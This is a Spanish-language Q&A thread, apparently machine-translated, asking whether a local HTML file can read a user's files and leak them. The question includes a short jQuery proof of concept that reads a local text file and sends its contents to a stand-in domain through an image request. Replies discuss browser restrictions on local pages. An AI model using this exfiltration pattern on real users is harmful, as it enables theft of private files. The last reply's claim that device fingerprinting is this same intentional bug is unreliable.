2012-09-08 6 views
11

Hablemos de seguridad. Me parece, teóricamente, que puedo obtener información del sistema de archivos de un usuario con algún script, si el usuario abre un archivo html con él (se abre desde su sistema de archivos, no desde la red). Mira el código:robar datos del usuario ejecutando el archivo html

info.txt:

my info 

index.html:

<!doctype html> 

<html> 
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> 
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js"></script> 
    <script> 
     $(document).ready(function() { 
     $.get('file:///home/daz/desktop/info.txt', function (data) { 
      $('<img>').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body'); 
     }, 'text'); 
     }); 
    </script> 
    </head>  
    <body></body> 
</html> 

Algunos navegadores (Firefox, por ejemplo) le permiten obtener archivos desde file:// a través de XmlHttpRequest, así que si adivino la ruta al archivo, entonces puedo obtener su contenido por ajax. Y luego puedo agregar dinamicamente la etiqueta img con src que conduce a mi dominio con los parámetros en la cadena de consulta. Y el navegador hacer una solicitud obedientemente GET ?data=my%20info%0A domain.com. Y en el lado del servidor puedo analizar cadena de consulta y obtener los datos.

¿Tengo razón? Puedo hacer esto? ¿Tengo razón? Puedo obtener los datos del usuario de su computadora si abre mi archivo html. Así que puedo decir: "¡Oye, amigo, mira este archivo!" (con 2 restricciones: el usuario debe usar Firefox u otra cosa con una configuración similar, y no puedo obtener archivos a los que el usuario no puede acceder debido a los derechos de acceso).

Actualizado:

Si es posible, entonces ¿es posible? ¿Por qué te permiten hacer tales cosas? Por qué no hay cuadros de diálogo de confirmación o algo así.

Actualización 2:

Será genial si alguien hace un comentario sobre este tema. ¡Gracias por adelantado!

+3

No lo sé, inténtalo. :) – gengkev

+0

Sí, esto es completamente posible. – Brad

Respuesta

5

Es menos posible de lo que piensas. Varios navegadores han implementado diferentes restricciones sobre qué archivos HTML locales pueden hacer, como se describe en esta entrada por el equipo de desarrollo de Chromium:

http://blog.chromium.org/2008/12/security-in-depth-local-web-pages.html

En particular:

  • Internet Explorer deshabilita Javascript en HTML local archivos de forma predeterminada
  • Opera impone algunas restricciones al acceso entre dominios de los archivos locales
  • Firefox aplica restricciones de subdirectorio al acceso de archivos local

(Tenga en cuenta que esta publicación es de 2008; navegadores - especialmente Chrome - puede haber cambiado significativamente desde entonces.)

0

Solo una actualización: las empresas ahora están utilizando este exploit para robar la información de millones de usuarios, rastreándola sin su conocimiento y sin utilizar cookies. http://en.wikipedia.org/wiki/Device_fingerprint

Parece que este error se dejó intencionalmente en su solo para que los usuarios puedan ser explotados.

Cuestiones relacionadas